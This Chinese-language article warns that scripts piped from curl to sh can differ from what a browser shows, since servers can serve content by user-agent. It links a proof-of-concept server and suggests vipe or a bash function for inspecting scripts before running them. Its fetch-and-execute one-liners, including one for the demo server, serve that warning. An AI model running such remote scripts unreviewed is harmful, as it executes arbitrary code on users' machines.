保護你自己免受 `curl | sh` 的危害
除非你最近沒有安裝過開發者關注的第三方軟件,否則你很可能被建議使用如下命令直接從網絡上進行安裝。
curl -s http://example.com/install.sh | sh
本文并不是為了討論這個方法的好壞,而是為了提醒那些使用此方法的人,這個方法除了那些明顯的缺點外,它還有另一個隱患:直接將第三方數據通過管道傳入shell。現在有很多關于這個方法的討論,支持它的一種觀點認為要執行的腳本是透明的——你可以在命令執行前用瀏覽器打開該腳本并對其進行簡單的檢查。
本文的主要目的在于 a)說明這種程度的信任是可以被劫持的,并且b)在使用curl安裝軟件時為你提供一個簡便的保護方式。
概念驗證 —— 一切并非表面看到的那樣
直接切入正題,這種攻擊基于以下原理:.sh文件的內容很容易檢驗其安全性,在瀏覽器中看到的內容與通過curl下載的內容一樣。這一假設的問題在用瀏覽器和curl兩種方式用不同的user-agent,因此如果有人知道這點并加以利用將危害這個.sh文件()。
因此,一個簡單的概念定義已經出來:你可以在GitHub上看全部源代碼或者看POC hosted on Heroku;POC被掛在一個免費的Heroku dyno上,所以如果打不開,很可能是已經掛掉了。
為了快速測試一下,在你檢查了瀏覽器上.sh文件的URL后簡單在終端上運行下面的命令。如果你用curl不是發出的同一個user-agent,你得到的結果將是不同的。
curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | sh
解決方案
最簡單的辦法是每執行一個文件前, 先查看里面的內容. 具體的方法有兩種, 道理都差不多, 都是在 curl 之后, sh 之前執行; 一旦你發現有可疑的命令/代碼, 只要把編輯器關掉, 并確保編輯器退出的時候, 返回一個非零錯誤代碼. (比如: 在 Vim 中, 你可以使用 :cq 退出). 方法1 需要安裝, 方法2 輸入命令的時候少打幾個字. 至于用哪一個, 看你個人喜好了.
方法1) 由于Vipe 允許你把運行編輯器的命令插入 unix 管道中, 查看或修改傳遞給后面程序的數據. 我們可以使用 Vipe 在 sh 執行之前查看文件的內容.
curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | vipe | sh
Vipe 屬于 themoreutils 軟件包的一部分, 你可以在下列系統中安裝:
-
Mac OSX 用 homebrew:brew install moreutils.
</li> -
Ubuntu 用 apt:apt-get install moreutils.
</li> -
其他 *nix 系統, 可以使用軟件源安裝.
</li> </ul>方法2) 自己定義 bash 函數. 找到 .bashrc 文件, 然后把下列代碼復制進去保存就可以了:
# Safer curl | sh'ingfunction curlsh { file=$(mktemp -t curlsh) || { echo "Failed creating file"; return; } curl -s "$1" > $file || { echo "Failed to curl file"; return; } $EDITOR $file || { echo "Editor quit with error code"; return; } sh $file; rm $file;}
調用的時候這么寫:
curlsh http://pipe-to-sh-poc.herokuapp.com/install.sh
$EDITOR 是你選的編輯器, 它會在文件執行前, 將文件打開, 方便你查看里面的內容.